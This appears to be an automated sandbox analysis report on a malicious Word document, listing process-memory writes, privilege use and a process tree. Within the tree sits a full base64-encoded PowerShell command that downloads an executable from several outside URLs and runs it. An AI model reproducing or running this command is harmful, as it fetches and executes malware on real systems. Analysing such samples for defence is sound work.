1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1612 1964 chrome.exe 48 PID 1964 wrote to memory of 1604 1964 chrome.exe 49 PID 1964 wrote to memory of 1604 1964 chrome.exe 49 PID 1964 wrote to memory of 1604 1964 chrome.exe 49 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2312 1964 chrome.exe 52 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2360 1964 chrome.exe 53 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2412 1964 chrome.exe 54 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2460 1964 chrome.exe 55 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 PID 1964 wrote to memory of 2512 1964 chrome.exe 56 - Office loads VBA resources, possible macro or embedded object present
- Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1800 powersheLL.exe Token: SeDebugPrivilege 524 taskmgr.exe - Suspicious use of FindShellTrayWindow 86 IoCs
pid Process 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powersheLL.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1400 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 32 IoCs
pid Process 1800 powersheLL.exe 1800 powersheLL.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 1508 chrome.exe 1964 chrome.exe 1964 chrome.exe 1604 chrome.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\o.doc"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:1400
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABaAHUAZQBlAG8AegBnAHMAaQA9ACcAQQBiAG8AagBmAHgAegBsACcAOwAkAFMAdQB5AHgAZwBzAGQAZwBrACAAPQAgACcANgA1ADcAJwA7ACQAQQBsAGgAaQBiAGMAcABoAGgAZQBxAHYAZAA9ACcAWQB4AGwAcwByAHoAZgByAHQAeABpAHgAbgAnADsAJABDAGcAYwBjAGwAbAB5AGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAdQB5AHgAZwBzAGQAZwBrACsAJwAuAGUAeABlACcAOwAkAFkAagB3AGEAdAB0AHcAZgB5AD0AJwBBAHQAeABqAGYAawB3AGgAJwA7ACQAUQB4AGcAYgBqAGcAdgB5AHAAPQAuACgAJwBuACcAKwAnAGUAJwArACcAdwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBlAGIAQwBsAGkAZQBOAHQAOwAkAE8AcQByAGMAcgBxAGkAYQBsAHcAcABzAD0AJwBoAHQAdABwADoALwAvAHMAdQBwAGMAYQByAGcAbwAuAGMAbwBtAC8ATABvAGcAaQBuAC8ASwAvACoAaAB0AHQAcAA6AC8ALwBzAHUAbgB1AGMAdQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAwAFYAMABlAC8AKgBoAHQAdABwADoALwAvAHMAdwBlAGUAdABlAHMAdABzAGgAbwBwAC4AYwBhAC8AdwBwAC8AMwBjAGEANQBvAHEALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGIAaABlAGQAYQByAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwAyAC8ANwBnAHQAVABFAE0AOAAvACoAaAB0AHQAcAA6AC8ALwB0AGEAawBoAGEAcgBhAG4AZABzAGgAYQBuAGsAZQByAHQAbwB1AHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEkAWABSAC8AMgAvACcALgAiAHMAYABQAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB5AHIAeQB2AHUAbwBsAD0AJwBDAGMAYgBmAGcAeQBkAHMAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQARQBjAGgAeQBqAGkAbABuAG8AIABpAG4AIAAkAE8AcQByAGMAcgBxAGkAYQBsAHcAcABzACkAewB0AHIAeQB7ACQAUQB4AGcAYgBqAGcAdgB5AHAALgAiAGQATwBXAG4AbABPAEEAYABkAGAARgBJAEwAZQAiACgAJABFAGMAaAB5AGoAaQBsAG4AbwAsACAAJABDAGcAYwBjAGwAbAB5AGoAKQA7ACQATgBvAG8AegBsAHQAagByAHkAYQBnAGcAPQAnAEwAZgBiAHgAeQBpAHQAZgB5AHoAeQBzAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABDAGcAYwBjAGwAbAB5AGoAKQAuACIATABFAGAATgBHAGAAVABIACIAIAAtAGcAZQAgADIAMgA0ADcAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBgAFIARQBhAFQAZQAiACgAJABDAGcAYwBjAGwAbAB5AGoAKQA7ACQARQBjAHcAawBtAGoAYwB6AGsAPQAnAFQAdQBlAHcAdgB4AGYAdgAnADsAYgByAGUAYQBrADsAJABWAGcAdQB4AGgAcQBvAGIAPQAnAEcAbABxAHcAZABrAHMAbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAG4AeABkAGEAbAB0AGQAPQAnAE0AaABuAGYAagB3AGIAbQBlAHQAbgB4ACcA1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1800
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: EnumeratesProcesses
PID:524
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"1⤵
- Drops Chrome extension
- Suspicious use of SendNotifyMessage
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: EnumeratesProcesses
PID:1964 -
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=81.0.4044.129 --initial-client-data=0xa4,0xa8,0xac,0x78,0xb0,0x7feea92bd28,0x7feea92bd38,0x7feea92bd482⤵PID:1940
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=1968 --on-initialized-event-handle=352 --parent-handle=356 /prefetch:62⤵PID:612
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=988 --ignored=" --type=renderer " /prefetch:22⤵PID:1368
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1364 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1508
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1884 /prefetch:12⤵PID:1816
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --instant-process --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1904 /prefetch:12⤵PID:688
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2488 --ignored=" --type=renderer " /prefetch:22⤵PID:1844
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=1056 --ignored=" --type=renderer " /prefetch:82⤵PID:1068
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2588 --ignored=" --type=renderer " /prefetch:82⤵PID:1772
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2604 --ignored=" --type=renderer " /prefetch:82⤵PID:1912
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2920 --ignored=" --type=renderer " /prefetch:82⤵PID:1808
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=1916 --ignored=" --type=renderer " /prefetch:82⤵PID:1796
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2584 --ignored=" --type=renderer " /prefetch:82⤵PID:2044
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2776 --ignored=" --type=renderer " /prefetch:82⤵PID:1744
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=2720 --ignored=" --type=renderer " /prefetch:82⤵PID:1796
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --disable-gpu-compositing --lang=en-US --extension-process --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2604 /prefetch:12⤵PID:1612
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --no-sandbox --enable-audio-service-sandbox --mojo-platform-channel-handle=3136 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1604
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=1328 --ignored=" --type=renderer " /prefetch:82⤵PID:2312
-
-
